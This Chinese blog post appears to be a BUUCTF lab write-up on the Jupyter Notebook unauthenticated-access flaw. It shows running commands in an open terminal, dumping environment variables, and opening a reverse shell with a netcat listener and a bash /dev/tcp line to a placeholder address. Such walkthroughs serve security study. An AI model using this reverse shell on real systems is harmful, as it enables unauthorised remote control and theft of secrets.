buuctf [Jupyter]notebook-rce

最新推荐文章于 2024-02-13 11:05:18 发布
最新推荐文章于 2024-02-13 11:05:18 发布
阅读量997 收藏 1
点赞数 1
分类专栏： buuctf real 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_36241198/article/details/115057298
版权

Jupyter Notebook 未授权访问漏洞

Jupyter Notebook（此前被称为 IPython notebook）是一个交互式笔记本，支持运行 40 多加粗样式种编程语言。

如果管理员未为Jupyter Notebook配置密码，将导致未授权访问漏洞，游客可在其中创建一个console并执行任意Python代码和命令。

在这里插入图片描述
复现
在Terminal 创建控制台处可以执行任意命令
在这里插入图片描述

在这里插入图片描述
env打印环境变量
在这里插入图片描述

反弹shell

# 本机监听
nc -lvp 5555

# 目标执行
bash -i >& /dev/tcp/x.x.x.x/5555 0>&1

在这里插入图片描述

exploitsec
关注
  • 1
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
CVE-2018-14418 擦出新火花
weixin_30663391的博客
09-11 1014
笔者《Qftm》原文发布：https://xz.aliyun.com/t/6223 0x00 前言 最近，一次授权的渗透测试项目意外的撞出了(CVE-2018-14418)新的火花，在这里分享给大家，同时简单记录一下自己的渗透测试过程，一些敏感信息已打码，相关漏洞已报送厂商修复。 0x01 Msvod Cms SQL注入漏洞原始 详解 漏洞ID 1226187 漏洞类型 SQL注入...
laravel-8.4.2-rce
05-28
laravel-8.4.2-rce 设置环境 git clone https://github.com/laravel/laravel.git cd laravel git checkout e849812 composer install composer require facade/ignition==2.5.1 php artisan serve 用法 python3 exploit.py http://pwnme.me:8000 /var/www/html/laravel/storage/logs/laravel.log ' uname -a ' 参考
未授权访问漏洞总结
LuckySec
03-24 4572
前言：这篇文章主要收集一些常见的未授权访问漏洞。未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露。 0x01 未授权漏洞预览 Active MQ 未授权访问 Atlassian Crowd 未授权访问 CouchDB 未授权访问 Docker 未授权访问 Dubbo 未授权访问 Druid 未授权访问 Elasticsearch 未授权访问 FTP 未授权访问 Hadoop 未授权访问 JBoss 未授权访
BUUCTF-Real-[Jupyter]notebook-rce
分享
02-13 715
[Jupyter]notebook的简单漏洞！
GhostScript 沙箱绕过（命令执行）漏洞（CVE-2018-16509）
黑白的博客
12-22 1231
声明 好好学习，天天向上 漏洞描述 8 月 21 号，Tavis Ormandy 通过公开邮件列表，再次指出 GhostScript 的安全沙箱可以被绕过，通过构造恶意的图片内容，将可以造成命令执行、文件读取、文件删除等漏洞 GhostScript 被许多图片处理库所使用，如 ImageMagick、Python PIL 等，默认情况下这些库会根据图片的内容将其分发给不同的处理方法，其中就包括 GhostScript。 影响范围 Ghostscript 9.24之前版本 复现过程 这里使用7.0.8版本 使
Jupyter Notebook未授权访问 getshell——漏洞复现
W小哥
11-05 1608
一、 Jupyter Notebook介绍 Jupyter Notebook（此前被称为 IPython notebook）是基于网页的用于交互计算的应用程序，是一个交互式笔记本，支持运行 40 多种编程语言。Jupyter Notebook是以网页的形式打开，可以在网页页面中直接编写代码和运行代码，代码的运行结果也会直接在代码块下显示。 二、Docker API 未授权访问介绍 如果管理员未为Jupyter Notebook配置密码，将导致未授权访问漏洞，游客可在其中创建一个console并执行任意Pyt
未授权访问漏洞汇总
weixin_46137328的博客
09-23 7385
本文共11695个字，可以先收藏后看。漏洞概览： Elasticsearch未授权访问漏洞 Hadoop未授权访问漏洞 Jenkins未授权访问 MongoDB未授权访问 Zoo...
记录一次vulhub：Jupyter Notebook 未授权访问漏洞复现
sszsNo1的博客
06-27 478
复现vulhub：Jupyter Notebook 未授权访问漏洞
Jupyter Notebook 未授权访问漏洞总结
qq_45746681的博客
10-05 1743
提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档 文章目录前言一、Jupyter Notebook 未授权访问漏洞是什么？二、复现1.搭建环境漏洞利用三、防御方法 前言 记录并自己复现下常见的未授权访问漏洞 一、Jupyter Notebook 未授权访问漏洞是什么？ Jupyter Notebook（此前被称为 IPython notebook）是一个交互式笔记本，支持运行 40 多种编程语言。 如果管理员未为Jupyter Notebook配置密码，将导致未授权访问漏洞，游客可在其中
CVE-2021-21972-vCenter-6.5-7.0-RCE-POC
03-04
CVE-2021-21972-vCenter-6.5-7.0-RCE-POCpoc只需验证某人的路径的返回状态POC仅用于测试，未添加EXP模块POC仅用于测试，未加入exp模块
Apache-druid-kafka-rce.yaml
最新发布
04-30
kafka相关RCE漏洞poc，扫描器的yaml文件，可以导入yara扫描器进行授权漏洞渗透测试。
Apache-Solr-RCE-via-Velocity-template
03-09
Apache-Solr-RCE-Velocity模板突破产生原因：当攻击者可以直接访问Solr控制台时，可以通过发送类似/例程名/ config的POST请求该例程的配置文件进行更改。 Apache Solr内置IntegratedVelocityResponseWriter插件，在...
Python-Pickle-RCE-Exploit:具有易受攻击的Flask App的简单RCE PoC
03-17
Python-Pickle-RCE-漏洞利用 具有易受攻击的Flask应用程序的简单RCE Pickle PoC 在Python中，pickle模块可让您序列化和反序列化数据。 从本质上讲，这意味着您可以将Python对象转换为字节流，然后稍后在其他进程或...
利用Vulnhub复现漏洞 - Jupyter Notebook 未授权访问漏洞
JiangBuLiu的博客
07-12 2186
Jupyter Notebook 未授权访问漏洞Vulnhub官方复现教程漏洞原理复现过程启动环境漏洞复现我滴个神呀 Vulnhub官方复现教程 https://vulhub.org/#/environments/jupyter/notebook-rce/ 漏洞原理 Jupyter Notebook（此前被称为 IPython notebook）是一个交互式笔记本，支持运行 40 多种编程语言。 ...
Jupyter Notebook 未授权访问漏洞
weixin_51387754的博客
11-09 673
漏洞原理 Jupyter Notebook（此前被称为 IPython notebook）是一个交互式笔记本，支持运行 40 多种编程语言。 如果管理员未为Jupyter Notebook配置密码，将导致未授权访问漏洞，游客可在其中创建一个console并执行任意Python代码和命令。 漏洞复现 使用vulhub进入目录 (root????guiltyfet)-[/home/guiltyfet/vulhub] └─# cd jupyter
使用jupyter notebook基础镜像搭建自己的 pytorch开发环境
rede
07-31 917
### Code Reference URL:https://blog.csdn.net/jianchengss/article/details/78224778 DESC:使用jupyter notebook基础镜像搭建自己的 pytorch开发环境 DESC:jupyter存放我的文档|代码片段存储. Last Update:2020-7-7 10:33 Time：2020-7-31 18:41 Tittle：使用jupyter notebook基础镜像搭建自己的 pytorch开发
BUUCTF：[极客大挑战 2019]RCE ME
末初的CSDN博客
03-27 8345
这题和我这篇文章内容相关：关于PHP正则的一些绕过方法 绕过正则，有长度限制，先出一个phpinfo()看一下配置，payload很多，我上面那篇文章里面的也可以，我这里直接用取反urlencode编码绕过 PS C:\Users\Administrator> php -r "echo urlencode(~'phpinfo');" ...
buuctf [PHP]XXE
qq_1873822的博客
03-14 3444
原理介绍 XML 被设计为传输和存储数据,其焦点是数据的内容。 HTML 被设计用来显示数据,其焦点是数据的外观。 HTML 旨在显示信息,而 XML 旨在传输信息。XML特点，XML 被设计用来结构化、存储以及传输信息。仅仅是纯文本，有能力处理纯文本的软件都可以处理 XML。XML 允许创作者定义自己的标签和自己的文档结构。XML 是独立于软件和硬件的信息传输工具。所有现代浏览器都有读取和操作 XML 的内建 XML 解析器，但是不同的浏览器解析的方法不一样的，如在IE中使用loadXML()方法，在其他
thinkphp2-rce
07-28
ThinkPHP 2.x版本中存在远程代码执行（RCE）漏洞。该漏洞可以通过构造恶意的请求来执行任意的PHP代码。具体来说，漏洞出现在ThinkPHP框架中的路由处理函数中，使用了不安全的preg_replace函数，并且使用了/e模式进行正则表达式匹配。攻击者可以通过在请求中注入恶意的代码来执行任意的PHP代码。这个漏洞在ThinkPHP框架的Dispatcher类中的102行被触发。\[2\]\[3\] 为了修复这个漏洞，建议升级到最新版本的ThinkPHP框架，或者手动修复代码中的漏洞。具体修复方法包括使用更安全的正则表达式替代preg_replace函数，并且避免使用/e模式进行正则表达式匹配。此外，还应该对用户输入进行严格的过滤和验证，以防止恶意代码的注入。 #### 引用[.reference_title] - *1* [【漏洞复现】[ThinkPHP]2-Rce](https://blog.csdn.net/Mr_atopos/article/details/124907676)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [ThinkPHP2-RCE漏洞复现](https://blog.csdn.net/qq_51459600/article/details/125179451)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值